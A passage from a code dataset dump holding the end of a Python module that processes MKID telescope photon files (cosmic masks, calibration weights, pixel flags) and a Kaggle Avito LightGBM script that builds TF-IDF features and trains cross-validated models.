'loaded' in ObsFile instance).\n \"\"\"\n self.cosmicMaskIsApplied = False\n\n def switchOnCosmicTimeMask(self):\n \"\"\"\n Switch on cosmic time masking. Subsequent calls to getPixelCountImage\n etc. will have cosmic times removed.\n \"\"\"\n if self.cosmicMask is None:\n raise RuntimeError('No cosmic mask file loaded')\n self.cosmicMaskIsApplied = True\n @staticmethod\n def writeCosmicIntervalToFile(intervals, ticksPerSec, fileName,\n beginTime, endTime, stride,\n threshold, nSigma, populationMax):\n h5f = tables.open_file(fileName, 'w')\n\n headerGroup = h5f.createGroup(\"/\", 'Header', 'Header')\n headerTable = h5f.createTable(headerGroup,'Header',\n cosmicHeaderDescription, 'Header')\n header = headerTable.row\n header['ticksPerSec'] = ticksPerSec\n header['beginTime'] = beginTime\n header['endTime'] = endTime\n header['stride'] = stride\n header['threshold'] = threshold\n header['nSigma'] = nSigma\n header['populationMax'] = populationMax\n header.append()\n headerTable.flush()\n headerTable.close()\n tbl = h5f.createTable(\"/\", \"cosmicMaskData\", TimeMask.TimeMask,\n \"Cosmic Mask\")\n for interval in intervals:\n row = tbl.row\n tBegin = max(0,int(np.round(interval[0]*ticksPerSec)))\n row['tBegin'] = tBegin\n tEnd = int(np.round(interval[1]*ticksPerSec))\n row['tEnd'] = tEnd\n row['reason'] = TimeMask.timeMaskReason[\"cosmic\"]\n row.append()\n tbl.flush()\n tbl.close()\n h5f.close()\n\n @staticmethod\n def readCosmicIntervalFromFile(fileName):\n fid = tables.open_file(fileName, mode='r')\n headerInfo = fid.get_node(\"/Header\",\"Header\")[0]\n ticksPerSec = headerInfo['ticksPerSec']\n table = fid.get_node(\"/cosmicMaskData\")\n enum = table.get_enum('reason')\n\n retval = interval()\n for i in range(table.nrows):\n temp = (interval[table[i]['tBegin'],table[i]['tEnd']])/ticksPerSec\n retval = retval | temp\n\n fid.close()\n return retval\n\n @staticmethod\n def invertInterval(interval0, iMin=float(\"-inf\"), iMax=float(\"inf\")):\n \"\"\"\n invert the interval\n\n inputs:\n interval0 -- the interval to invert\n iMin=-inf -- beginning of the new interval\n iMax-inv -- end of the new interval\n\n return:\n the interval between iMin, iMax that is NOT masked by interval0\n \"\"\"\n if len(interval0) == 0:\n retval = interval[iMin,iMax]\n else:\n retval = interval()\n previous = [iMin,iMin]\n for segment in interval0:\n if previous[1] < segment[0]:\n temp = interval[previous[1],segment[0]]\n if len(temp) > 0:\n retval = retval | temp\n previous = segment\n if previous[1] < iMax:\n temp = interval[previous[1],iMax]\n if len(temp) > 0:\n retval = retval | temp\n return retval\n\n\n def updateWavelengths(self, xCoord, yCoord, wvlCalArr):\n \"\"\"\n Changes wavelengths for a single pixel. Overwrites \"Wavelength\" column w/\n contents of wvlCalArr. NOT reversible unless you have a copy of the original contents.\n ObsFile must be open in \"write\" mode to use.\n\n Parameters\n ----------\n resID: int\n resID of pixel to overwrite\n wvlCalArr: array of floats\n Array of calibrated wavelengths. Replaces \"Wavelength\" column of this pixel's\n photon list.\n \"\"\"\n resID = self.beamImage[xCoord][yCoord]\n if self.mode!='write':\n raise Exception(\"Must open file in write mode to do this!\")\n if self.info['isWvlCalibrated']:\n warnings.warn(\"Wavelength calibration already exists!\")\n pixelRowInds = self.photonTable.get_where_list('ResID==resID')\n assert (len(pixelRowInds)-1)==(pixelRowInds[-1]-pixelRowInds[0]), 'Table is not sorted by Res ID!'\n assert len(pixelRowInds)==len(wvlCalArr), 'Calibrated wavelength list does not match length of photon list!'\n\n self.photonTable.modify_column(start=pixelRowInds[0], stop=pixelRowInds[-1]+1, column=wvlCalArr, colname='Wavelength')\n self.photonTable.flush()\n\n def __applyColWeight(self, resID, weightArr, colName):\n \"\"\"\n Applies a weight calibration to the column specified by colName.\n Call using applySpecWeight or applyTPFWeight.\n\n Parameters\n ----------\n resID: int\n resID of desired pixel\n weightArr: array of floats\n Array of cal weights. Multiplied into the \"SpecWeight\" column.\n colName: string\n Name of weight column. Should be either 'SpecWeight' or 'NoiseWeight'\n \"\"\"\n if self.mode!='write':\n raise Exception(\"Must open file in write mode to do this!\")\n if self.info['isWvlCalibrated']:\n warnings.warn(\"Wavelength calibration already exists!\")\n pixelRowInds = self.photonTable.get_where_list('ResID==resID')\n assert (len(pixelRowInds)-1)==(pixelRowInds[-1]-pixelRowInds[0]), 'Table is not sorted by Res ID!'\n assert len(pixelRowInds)==len(weightArr), 'Calibrated wavelength list does not match length of photon list!'\n\n weightArr = np.array(weightArr)\n curWeights = self.photonTable.read_where('resID==ResID')['SpecWeight']\n newWeights = weightArr*curWeights\n self.photonTable.modify_column(start=pixelRowInds[0], stop=pixelRowInds[-1]+1, column=newWeights, colname=colName)\n self.photonTable.flush()\n\n def applySpecWeight(self, resID, weightArr):\n \"\"\"\n Applies a weight calibration to the \"SpecWeight\" column of a single pixel.\n\n This is where the flat cal, linearity cal, and spectral cal go.\n Weights are multiplied in and replaced; if \"weights\" are the contents\n of the \"SpecWeight\" column, weights = weights*weightArr. NOT reversible\n unless the original contents (or weightArr) is saved.\n\n Parameters\n ----------\n resID: int\n resID of desired pixel\n weightArr: array of floats\n Array of cal weights. Multiplied into the \"SpecWeight\" column.\n \"\"\"\n self.__applyColWeight(resID, weightArr, 'SpecWeight')\n \n def applyTPFWeight(self, resID, weightArr):\n \"\"\"\n Applies a weight calibration to the \"SpecWeight\" column.\n\n This is where the TPF (noise weight) goes.\n Weights are multiplied in and replaced; if \"weights\" are the contents\n of the \"NoiseWeight\" column, weights = weights*weightArr. NOT reversible\n unless the original contents (or weightArr) is saved.\n\n Parameters\n ----------\n resID: int\n resID of desired pixel\n weightArr: array of floats\n Array of cal weights. Multiplied into the \"NoiseWeight\" column.\n \"\"\"\n self.__applyColWeight(resID, weightArr, 'NoiseWeight')\n\n def applyFlatCalLegacy(self, FlatCalFile):\n assert not self.info['isSpecCalibrated'], \\\n \"the data is already Flat calibrated\"\n assert os.path.exists(FlatCalFile), \"{0} does not exist\".format(FlatCalFile)\n flat_cal = tables.open_file(FlatCalFile, mode='r')\n calsoln = flat_cal.root.flatcal.calsoln.read()\n bins=np.array(flat_cal.root.flatcal.wavelengthBins.read())\n bins=bins.flatten()\n minwavelength=700\n maxwavelength=1500\n heads=np.array([0,100,200,300,400,500,600])\n tails=np.array([1600,1700,1800,1900,2000])\n bins=np.append(heads,bins)\n bins=np.append(bins,tails)\n for (row, column), resID in np.ndenumerate(self.beamImage):\n index = np.where(resID == np.array(calsoln['resid']))\n if len(index[0]) == 1 and (calsoln['flag'][index] == 0):\n print('resID', resID, 'row', row, 'column', column)\n weights = calsoln['weights'][index]\n photon_list = self.getPixelPhotonList(row, column)\n phases = photon_list['Wavelength']\n weights=np.array(weights)\n weights=weights.flatten()\n weightsheads=np.zeros(len(heads))+weights[0]\n weightstails=np.zeros(len(tails)+1)+weights[len(weights)-1]\n weights=np.append(weightsheads,weights)\n weights=np.append(weights,weightstails)\n weightfxncoeffs10=np.polyfit(bins,weights,10)\n weightfxn10=np.poly1d(weightfxncoeffs10)\n photon_list = self.getPixelPhotonList(row, column)\n phases = photon_list['Wavelength']\n weightArr=weightfxn10(phases)\n weightArr[np.where(phases < minwavelength)]=1.0\n weightArr[np.where(phases > maxwavelength)]=1.0\n obs.applySpecWeight(obsfile, resID=resID, weightArr=weightArr)\n self.modifyHeaderEntry(headerTitle='isSpecCalibrated', headerValue=True)\n\n def applyFlag(self, xCoord, yCoord, flag):\n \"\"\"\n Applies a flag to the selected pixel on the BeamFlag array. Flag is a bitmask;\n new flag is bitwise OR between current flag and provided flag. Flag definitions\n can be found in Headers/pipelineFlags.py.\n\n Parameters\n ----------\n xCoord: int\n x-coordinate of pixel\n yCoord: int\n y-coordinate of pixel\n flag: int\n Flag to apply to pixel\n \"\"\"\n if self.mode!='write':\n raise Exception(\"Must open file in write mode to do this!\")\n\n curFlag = self.beamFlagImage[xCoord, yCoord]\n newFlag = curFlag | flag\n self.beamFlagImage[xCoord, yCoord] = newFlag\n self.beamFlagImage.flush()\n\n def undoFlag(self, xCoord, yCoord, flag):\n \"\"\"\n Resets the specified flag in the BeamFlag array to 0. Flag is a bitmask;\n only the bit specified by 'flag' is reset. Flag definitions\n can be found in Headers/pipelineFlags.py.\n\n Parameters\n ----------\n xCoord: int\n x-coordinate of pixel\n yCoord: int\n y-coordinate of pixel\n flag: int\n Flag to undo\n \"\"\"\n if self.mode!='write':\n raise Exception(\"Must open file in write mode to do this!\")\n\n curFlag = self.beamFlagImage[xCoord, yCoord]\n notFlag = ~flag\n newFlag = curFlag & notFlag\n self.beamFlagImage[xCoord, yCoord] = newFlag\n self.beamFlagImage.flush()\n\n def modifyHeaderEntry(self, headerTitle, headerValue):\n \"\"\"\n Modifies an entry in the header. Useful for indicating whether wavelength cals,\n flat cals, etc are applied\n\n Parameters\n ----------\n headerTitle: string\n Name of entry to be modified\n headerValue: depends on title\n New value of entry\n \"\"\"\n if self.mode!='write':\n raise Exception(\"Must open file in write mode to do this!\")\n self.header.modify_column(column=headerValue, colname=headerTitle)\n self.header.flush()\n self.info = self.header[0]\n\n\n\n# writes out the photon list for this obs file at $MKID_PROC_PATH/photonListFileName\n# currently cuts out photons outside the valid wavelength ranges from the wavecal\n#\n# Currently being updated... JvE 4/26/2013.\n# This version should automatically reject time-masked photons assuming a hot pixel mask is\n# loaded and 'switched on'.\n#\n# INPUTS:\n# filename - string, optionally use to specify non-default output file name\n# for photon list. If not supplied, default name/path is determined\n# using original obs. file name and standard directory paths (as per\n# util.FileName). Added 4/29/2013, JvE.\n# firstSec - Start time within the obs. file from which to begin the\n# photon list (in seconds, from the beginning of the obs. file).\n# integrationTime - Length of exposure time to extract (in sec, starting from\n# firstSec). -1 to extract to end of obs. file.\n#\n# \"\"\"\n#\n# if self.flatCalFile is None: raise RuntimeError, \"No flat cal. file loaded\"\n# if self.fluxCalFile is None: raise RuntimeError, \"No flux cal. file loaded\"\n# if self.wvlCalFile is None: raise RuntimeError, \"No wavelength cal. file loaded\"\n# if self.hotPixFile is None: raise RuntimeError, \"No hot pixel file loaded\"\n# if self.file is None: raise RuntimeError, \"No obs file loaded...?\"\n#\n# plFile = self.createEmptyPhotonListFile(filename)\n# #try:\n# plTable = plFile.root.photons.photons\n#\n# try:\n# plFile.copyNode(self.flatCalFile.root.flatcal, newparent=plFile.root, newname='flatcal', recursive=True)\n# plFile.copyNode(self.fluxCalFile.root.fluxcal, newparent=plFile.root, newname='fluxcal', recursive=True)\n# plFile.copyNode(self.wvlCalFile.root.wavecal, newparent=plFile.root, newname='wavecal', recursive=True)\n# plFile.copyNode(self.hotPixFile.root, newparent=plFile.root, newname='timemask', recursive=True)\n# plFile.copyNode(self.file.root.beammap, newparent=plFile.root, newname='beammap', recursive=True)\n# plFile.copyNode(self.file.root.header, newparent=plFile.root, recursive=True)\n# except:\n# plFile.flush()\n# plFile.close()\n# raise\n#\n# plFile.flush()\n#\n# fluxWeights = self.fluxWeights #Flux weights are independent of pixel location.\n# #Extend flux weight/flag arrays as for flat weight/flags.\n# fluxWeights = np.hstack((fluxWeights[0],fluxWeights,fluxWeights[-1]))\n# fluxFlags = np.hstack((pipelineFlags.fluxCal['belowWaveCalRange'],\n# self.fluxFlags,\n# pipelineFlags.fluxCal['aboveWaveCalRange']))\n#\n# for xCoord in xrange(self.nXPix):\n# for yCoord in xrange(self.nYPix):\n# flag = self.wvlFlagTable[xCoord, yCoord]\n# if flag == 0:#only write photons in good pixels ***NEED TO UPDATE TO USE DICTIONARY***\n# energyError = self.wvlErrorTable[xCoord, yCoord] #Note wvlErrorTable is in eV !! Assume constant across all wavelengths. Not the best approximation, but a start....\n# flatWeights = self.flatWeights[xCoord, yCoord]\n# #Extend flat weight and flag arrays at beginning and end to include out-of-wavelength-calibration-range photons.\n# flatWeights = np.hstack((flatWeights[0],flatWeights,flatWeights[-1]))\n# flatFlags = np.hstack((pipelineFlags.flatCal['belowWaveCalRange'],\n# self.flatFlags[xCoord, yCoord],\n# pipelineFlags.flatCal['aboveWaveCalRange']))\n#\n#\n# #wvlRange = self.wvlRangeTable[xCoord, yCoord]\n#\n# #---------- Replace with call to getPixelWvlList -----------\n# #go through the list of seconds in a pixel dataset\n# #for iSec, secData in enumerate(self.getPixel(xCoord, yCoord)):\n#\n# #timestamps, parabolaPeaks, baselines = self.parsePhotonPackets(secData)\n# #timestamps = iSec + self.tickDuration * timestamps\n#\n# #pulseHeights = np.array(parabolaPeaks, dtype='double') - np.array(baselines, dtype='double')\n# #wavelengths = self.convertToWvl(pulseHeights, xCoord, yCoord, excludeBad=False)\n# #------------------------------------------------------------\n#\n# x = self.getPixelWvlList(xCoord,yCoord,excludeBad=False,dither=True,firstSec=firstSec,\n# integrationTime=integrationTime)\n# timestamps, wavelengths = x['timestamps'], x['wavelengths'] #Wavelengths in Angstroms\n#\n# #Convert errors in eV to errors in Angstroms (see notebook, May 7 2013)\n# wvlErrors = ((( (energyError*units.eV) * (wavelengths*units.Angstrom)**2 ) /\n# (constants.h*constants.c) )\n# .to(units.Angstrom).value)\n#\n# #Calculate what wavelength bin each photon falls into to see which flat cal factor should be applied\n# if len(wavelengths) > 0:\n# flatBinIndices = np.digitize(wavelengths, self.flatCalWvlBins) #- 1 -\n# else:\n# flatBinIndices = np.array([])\n#\n# #Calculate which wavelength bin each photon falls into for the flux cal weight factors.\n# if len(wavelengths) > 0:\n# fluxBinIndices = np.digitize(wavelengths, self.fluxCalWvlBins)\n# else:\n# fluxBinIndices = np.array([])\n#\n# for iPhoton in xrange(len(timestamps)):\n# #if wavelengths[iPhoton] > wvlRange[0] and wavelengths[iPhoton] < wvlRange[1] and binIndices[iPhoton] >= 0 and binIndices[iPhoton] < len(flatWeights):\n# #create a new row for the photon list\n# newRow = plTable.row\n# newRow['Xpix'] = yCoord\n# newRow['Ypix'] = xCoord\n# newRow['ArrivalTime'] = timestamps[iPhoton]\n# newRow['Wavelength'] = wavelengths[iPhoton]\n# newRow['WaveError'] = wvlErrors[iPhoton]\n# newRow['FlatFlag'] = flatFlags[flatBinIndices[iPhoton]]\n# newRow['FlatWeight'] = flatWeights[flatBinIndices[iPhoton]]\n# newRow['FluxFlag'] = fluxFlags[fluxBinIndices[iPhoton]]\n# newRow['FluxWeight'] = fluxWeights[fluxBinIndices[iPhoton]]\n# newRow.append()\n# #finally:\n# plTable.flush()\n# plFile.close()\n#\n\n\n\n\ndef calculateSlices(inter, timestamps):\n '''\n Hopefully a quicker version of the original calculateSlices. JvE 3/8/2013\n\n Returns a list of strings, with format i0:i1 for a python array slice\n inter is the interval of values in timestamps to mask out.\n The resulting list of strings indicate elements that are not masked out\n\n inter must be a single pyinterval 'interval' object (can be multi-component)\n timestamps is a 1D array of timestamps (MUST be an *ordered* array).\n\n If inter is a multi-component interval, the components must be unioned and sorted\n (which is the default behaviour when intervals are defined, and is probably\n always the case, so shouldn't be a problem).\n '''\n timerange = interval([timestamps[0],timestamps[-1]])\n slices = []\n slce = \"0:\" #Start at the beginning of the timestamps array....\n imax = 0 #Will prevent error if inter is an empty interval\n for eachComponent in inter.components:\n #Check if eachComponent of the interval overlaps the timerange of the\n #timestamps - if not, skip to the next component.\n\n if eachComponent & timerange == interval(): continue\n #[\n #Possibly a bit faster to do this and avoid interval package, but not fully tested:\n #if eachComponent[0][1] < timestamps[0] or eachComponent[0][0] > timestamps[-1]: continue\n #]\n\n imin = np.searchsorted(timestamps, eachComponent[0][0], side='left') #Find nearest timestamp to lower bound\n imax = np.searchsorted(timestamps, eachComponent[0][1], side='right') #Nearest timestamp to upper bound\n #As long as we're not about to create a wasteful '0:0' slice, go ahead\n #and finish the new slice and append it to the list\n if imin != 0:\n slce += str(imin)\n slices.append(slce)\n slce = str(imax)+\":\"\n #Finish the last slice at the end of the timestamps array if we're not already there:\n if imax != len(timestamps):\n slce += str(len(timestamps))\n slices.append(slce)\n return slices\n\n\n\n\ndef repackArray(array, slices):\n \"\"\"\n returns a copy of array that includes only the element defined by slices\n \"\"\"\n nIncluded = 0\n for slce in slices:\n s0 = int(slce.split(\":\")[0])\n s1 = int(slce.split(\":\")[1])\n nIncluded += s1 - s0\n retval = np.zeros(nIncluded)\n iPt = 0;\n for slce in slices:\n s0 = int(slce.split(\":\")[0])\n s1 = int(slce.split(\":\")[1])\n iPtNew = iPt + s1 - s0\n retval[iPt:iPtNew] = array[s0:s1]\n iPt = iPtNew\n return retval\n\ndef diagnose(message,timestamps, peakHeights, baseline, expTails):\n print(\"BEGIN DIAGNOSE message=\",message)\n index = np.searchsorted(timestamps,99.000426)\n print(\"index=\",index)\n for i in range(index-1,index+2):\n print(\"i=%5d timestamp=%11.6f\"%(i,timestamps[i]))\n print(\"ENDED DIAGNOSE message=\",message)\n\nclass cosmicHeaderDescription(tables.IsDescription):\n ticksPerSec = tables.Float64Col() # number of ticks per second\n beginTime = tables.Float64Col() # begin time used to find cosmics (seconds)\n endTime = tables.Float64Col() # end time used to find cosmics (seconds)\n stride = tables.Int32Col()\n threshold = tables.Float64Col()\n nSigma = tables.Int32Col()\n populationMax = tables.Int32Col()\n\n\n#Temporary test\nif __name__ == \"__main__\":\n obs = ObsFile(FileName(run='PAL2012', date='20121210', tstamp='20121211-051650').obs())\n obs.loadWvlCalFile(FileName(run='PAL2012',date='20121210',tstamp='20121211-052230').calSoln())\n obs.loadFlatCalFile(FileName(obsFile=obs).flatSoln())\n beforeImg = obs.getPixelCountImage(weighted=False,fluxWeighted=False,scaleByEffInt=True)\n","sub_path":"RawDataProcessing/darkObsFile.py","file_name":"darkObsFile.py","file_ext":"py","file_size_in_byte":105035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"594142103","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 13 17:42:20 2018\n\n@author: SriPrav\n\"\"\"\n\nimport time\nnotebookstart= time.time()\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os\nimport gc\n\n\n# Models Packages\nfrom sklearn import metrics\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn import feature_selection\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import preprocessing\n\n# Gradient Boosting\nimport lightgbm as lgb\n\n# Tf-Idf\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.pipeline import FeatureUnion\nfrom scipy.sparse import hstack, csr_matrix\nfrom nltk.corpus import stopwords \n\n# Viz\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nprint(\"\\nData Load Stage\")\ninDir = 'C:/Users/SriPrav/Documents/R/48Avito'\n\n\ntraining = pd.read_csv(inDir+'/input/train.csv', parse_dates = [\"activation_date\"])\nPrav_5folds_CVIndices = pd.read_csv(inDir+'./input/Prav_5folds_CVindices_weekdayStratified.csv')\n\ntraining = pd.merge(training, Prav_5folds_CVIndices, how = 'inner', on = 'item_id')\n\ntraining = training.reset_index(drop=True)\n\ntraindex = training.index\n\ntesting = pd.read_csv(inDir+'/input/test.csv', parse_dates = [\"activation_date\"])\ntestdex = testing.index\n\ntraining.columns\ntesting.columns\n\ntesting['deal_probability'] = 0\ntesting['CVindices'] = 0\n\n\nPrav_train_FE01 = pd.read_csv(inDir+'/input/Prav_train_FE_01.csv')\nPrav_test_FE01 = pd.read_csv(inDir+'/input/Prav_test_FE_01.csv')\n\ntraining = pd.merge(training, Prav_train_FE01, how = 'left', on = 'item_id')\ntesting = pd.merge(testing, Prav_test_FE01, how = 'left', on = 'item_id')\n\ny = training.deal_probability.copy()\n#training.drop(\"deal_probability\",axis=1, inplace=True)\nprint('Train shape: {} Rows, {} Columns'.format(*training.shape))\nprint('Test shape: {} Rows, {} Columns'.format(*testing.shape))\n\n\nprint(\"Combine Train and Test\")\ndf = pd.concat([training,testing],axis=0)\n#del training, testing\ngc.collect()\nprint('\\nAll Data shape: {} Rows, {} Columns'.format(*df.shape))\n\nprint(\"Feature Engineering\")\ndf[\"price\"] = np.log(df[\"price\"]+0.001)\ndf[\"price\"].fillna(-999,inplace=True)\ndf[\"image_top_1\"].fillna(-999,inplace=True)\n\nprint(\"\\nCreate Time Variables\")\ndf[\"Weekday\"] = df['activation_date'].dt.weekday\ndf[\"Weekd of Year\"] = df['activation_date'].dt.week\ndf[\"Day of Month\"] = df['activation_date'].dt.day\n\n# Create Validation Index and Remove Dead Variables\ntraining_index = df.loc[df.activation_date<=pd.to_datetime('2017-04-07')].index\nvalidation_index = df.loc[df.activation_date>=pd.to_datetime('2017-04-08')].index\ndf.drop([\"activation_date\",\"image\"],axis=1,inplace=True)\n\nprint(\"\\nEncode Variables\")\ncategorical = [\"user_id\",\"region\",\"city\",\"parent_category_name\",\"category_name\",\"user_type\",\"image_top_1\"]\nprint(\"Encoding :\",categorical)\n\n# Encoder:\nlbl = preprocessing.LabelEncoder()\nfor col in categorical:\n df[col] = lbl.fit_transform(df[col].astype(str))\n \nprint(\"\\nText Features\")\n\n# Feature Engineering \ndf['text_feat'] = df.apply(lambda row: ' '.join([\n str(row['param_1']), \n str(row['param_2']), \n str(row['param_3'])]),axis=1) # Group Param Features\ndf.drop([\"param_1\",\"param_2\",\"param_3\"],axis=1,inplace=True)\n\n# Meta Text Features\ntextfeats = [\"description\",\"text_feat\", \"title\"]\nfor cols in textfeats:\n df[cols] = df[cols].astype(str) \n df[cols] = df[cols].astype(str).fillna('nicapotato') # FILL NA\n df[cols] = df[cols].str.lower() # Lowercase all text, so that capitalized words dont get treated differently\n df[cols + '_num_chars'] = df[cols].apply(len) # Count number of Characters\n df[cols + '_num_words'] = df[cols].apply(lambda comment: len(comment.split())) # Count number of Words\n df[cols + '_num_unique_words'] = df[cols].apply(lambda comment: len(set(w for w in comment.split())))\n df[cols + '_words_vs_unique'] = df[cols+'_num_unique_words'] / df[cols+'_num_words'] * 100 # Count Unique Words\n\nprint(\"\\n[TF-IDF] Term Frequency Inverse Document Frequency Stage\")\n#russian_stop = set(stopwords.words('russian'))\n\ntfidf_para = {\n #\"stop_words\": russian_stop,\n \"analyzer\": 'word',\n \"token_pattern\": r'\\w{1,}',\n \"sublinear_tf\": True,\n \"dtype\": np.float32,\n \"norm\": 'l2',\n #\"min_df\":5,\n #\"max_df\":.9,\n \"smooth_idf\":False\n}\ndef get_col(col_name): return lambda x: x[col_name]\nvectorizer = FeatureUnion([\n ('description',TfidfVectorizer(\n ngram_range=(1, 2),\n max_features=18000,\n **tfidf_para,\n preprocessor=get_col('description'))),\n ('text_feat',CountVectorizer(\n ngram_range=(1, 2),\n #max_features=7000,\n preprocessor=get_col('text_feat'))),\n ('title',TfidfVectorizer(\n ngram_range=(1, 2),\n **tfidf_para,\n #max_features=7000,\n preprocessor=get_col('title')))\n ])\n \nstart_vect=time.time()\nvectorizer.fit(df.loc[traindex,:].to_dict('records'))\nready_df = vectorizer.transform(df.to_dict('records'))\ntfvocab = vectorizer.get_feature_names()\nprint(\"Vectorization Runtime: %0.2f Minutes\"%((time.time() - start_vect)/60))\n\n\n# Drop Text Cols\ndf.drop(textfeats, axis=1,inplace=True)\n\n# Dense Features Correlation Matrix\n#f, ax = plt.subplots(figsize=[10,7])\n#sns.heatmap(pd.concat([df.loc[traindex,[x for x in df.columns if x not in categorical]], y], axis=1).corr(),\n# annot=False, fmt=\".2f\",cbar_kws={'label': 'Correlation Coefficient'},cmap=\"plasma\",ax=ax, linewidths=.5)\n#ax.set_title(\"Dense Features Correlation Matrix\")\n#plt.savefig('correlation_matrix.png')\n\n\nfeature_names = [c for c in df if c not in ['item_id', 'deal_probability','CVindices']]\n\ndf_requiredset = df[feature_names]\n\nprint(\"Modeling Stage\")\n# Combine Dense Features with Sparse Text Bag of Words Features\ntrainingSet = hstack([csr_matrix(df_requiredset.iloc[traindex,:].values),ready_df[0:traindex.shape[0]]]) # Sparse Matrix\ntestingSet = hstack([csr_matrix(df_requiredset.iloc[testdex,:].values),ready_df[traindex.shape[0]:]])\ntfvocab = df_requiredset.columns.tolist() + tfvocab\nfor shape in [trainingSet,testingSet]:\n print(\"{} Rows and {} Cols\".format(*shape.shape))\nprint(\"Feature Names Length: \",len(tfvocab))\n#del df\ngc.collect();\n\nprint(\"\\nModeling Stage\")\n\n## Training and Validation Set\n#\"\"\"\n#Using Randomized train/valid split doesn't seem to generalize LB score, so I will try time cutoff\n#\"\"\"\n#X_train, X_valid, y_train, y_valid = train_test_split(\n# X, y, test_size=0.10, random_state=23)\n# \n#print(\"Light Gradient Boosting Regressor\")\n#lgbm_params = {\n# 'task': 'train',\n# 'boosting_type': 'gbdt',\n# 'objective': 'regression',\n# 'metric': 'rmse',\n# 'max_depth': 15,\n# # 'num_leaves': 31,\n# # 'feature_fraction': 0.65,\n# 'bagging_fraction': 0.8,\n# # 'bagging_freq': 5,\n# 'learning_rate': 0.019,\n# 'verbose': 0\n#} \n#\n## LGBM Dataset Formatting \n#lgtrain = lgb.Dataset(X_train, y_train,\n# feature_name=tfvocab,\n# categorical_feature = categorical)\n#lgvalid = lgb.Dataset(X_valid, y_valid,\n# feature_name=tfvocab,\n# categorical_feature = categorical)\n#\n## Go Go Go\n#modelstart = time.time()\n#\n#def lgb_mclip(preds, y):\n# y = np.array(list(y.get_label()))\n# score = np.sqrt(metrics.mean_squared_error(y.clip(0.,1.), preds.clip(0.,1.)))\n# return 'R_CLIP', score, False\n# \n#lgb_clf = lgb.train(\n# lgbm_params,\n# lgtrain,\n# num_boost_round=9000,\n# valid_sets=[lgtrain, lgvalid],\n# valid_names=['train','valid'],\n# feval=lgb_mclip,\n# early_stopping_rounds=200,\n# verbose_eval=200\n#)\n#\n## Feature Importance Plot\n#f, ax = plt.subplots(figsize=[7,10])\n#lgb.plot_importance(lgb_clf, max_num_features=50, ax=ax)\n#plt.title(\"Light GBM Feature Importance\")\n#plt.savefig('feature_import.png')\n#\n#print(\"Model Evaluation Stage\")\n#print('RMSE:', np.sqrt(metrics.mean_squared_error(y_valid, lgb_clf.predict(X_valid))))\n#lgpred = lgb_clf.predict(testing)\n#lgsub = pd.DataFrame(lgpred,columns=[\"deal_probability\"],index=testdex)\n#lgsub['deal_probability'].clip(0.0, 1.0, inplace=True) # Between 0 and 1\n#lgsub.to_csv(\"lgsub.csv\",index=True,header=True)\n#print(\"Model Runtime: %0.2f Minutes\"%((time.time() - modelstart)/60))\n#print(\"Notebook Runtime: %0.2f Minutes\"%((time.time() - notebookstart)/60))\n\n\n\nprint(\"Light Gradient Boosting Regressor\")\n#lgbm_params = {\n# 'task': 'train',\n# 'boosting_type': 'gbdt',\n# 'objective': 'regression',\n# 'metric': 'rmse',\n# 'max_depth': 8,\n# # 'num_leaves': 31,\n# 'feature_fraction': 0.7,\n# 'bagging_fraction': 0.7,\n# # 'bagging_freq': 5,\n# 'learning_rate': 0.01,\n# 'verbose': 1\n#} \n\n\nlgbm_params = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'regression',\n 'metric': 'rmse',\n 'min_child_weight': 16,\n 'max_depth': 8,\n 'num_leaves': 2**8, #2**4,\n #'lambda_l2': 2,\n 'feature_fraction': 0.7,\n 'bagging_fraction': 0.7,#0.7\n 'bagging_freq': 4,#2\n 'learning_rate': 0.01,\n 'tree_method': 'exact',\n 'min_data_in_leaf':4,\n 'min_sum_hessian_in_leaf': 0.8, \n 'nthread': 30,\n 'silent': False,\n 'seed': 2018,\n 'verbose': 1\n }\n#lgbm_num_round = 610\n#lgbm_early_stopping_rounds = 100\n\n\ndef lgb_mclip(preds, y):\n y = np.array(list(y.get_label()))\n score = np.sqrt(metrics.mean_squared_error(y.clip(0.,1.), preds.clip(0.,1.)))\n return 'R_CLIP', score, False\n\ndef train_lgbm(i):\n trainindex = training[training['CVindices'] != i].index.tolist()\n valindex = training[training['CVindices'] == i].index.tolist()\n \n X_build_set = training[training['CVindices'] != i]\n X_valid_set = training[training['CVindices'] == i]\n \n X_val_df = training.iloc[valindex,:]\n \n \n X_build , X_valid = trainingSet.tocsc()[trainindex,:], trainingSet.tocsc()[valindex,:]\n y_build , y_valid = X_build_set.deal_probability.values, X_valid_set.deal_probability.values\n \n lgtrain = lgb.Dataset(X_build, y_build,\n feature_name=tfvocab,\n categorical_feature = categorical\n )\n lgvalid = lgb.Dataset(X_valid, y_valid,\n feature_name=tfvocab,\n categorical_feature = categorical\n )\n \n lgb_clf = lgb.train(\n lgbm_params,\n lgtrain,\n num_boost_round=5000,\n valid_sets=[lgtrain, lgvalid],\n valid_names=['train','valid'],\n feval=lgb_mclip,\n early_stopping_rounds=100,\n verbose_eval=200\n )\n \n print(\"Model Evaluation Stage\")\n \n pred_cv = lgb_clf.predict(X_valid)\n print('RMSE:', np.sqrt(metrics.mean_squared_error(y_valid, pred_cv)))\n \n pred_cv = pd.DataFrame(pred_cv) \n pred_cv.columns = [\"deal_probability\"]\n pred_cv[\"item_id\"] = X_val_df.item_id.values\n pred_cv = pred_cv[[\"item_id\",\"deal_probability\"]]\n \n sub_valfile = inDir + '/submissions/Prav.'+ str(ModelName)+'.fold' + str(i) + '.csv'\n pred_cv.to_csv(sub_valfile, index=False)\n \n pred_test = lgb_clf.predict(testingSet)\n pred_test = pd.DataFrame(pred_test)\n pred_test.columns = [\"deal_probability\"]\n pred_test[\"item_id\"] = testing.item_id.values\n pred_test = pred_test[[\"item_id\",\"deal_probability\"]]\n \n sub_file = inDir +'/submissions/Prav.'+ str(ModelName)+'.fold' + str(i) + '-test' + '.csv'\n pred_test.to_csv(sub_file, index=False)\n del pred_cv\n del pred_test\n \nfolds = 5\ni = 1\nModelName = 'lgbm02'\n\nif __name__ == '__main__':\n for i in range(1, folds+1):\n train_lgbm(i)\n# fulltrain_lgbm(folds) 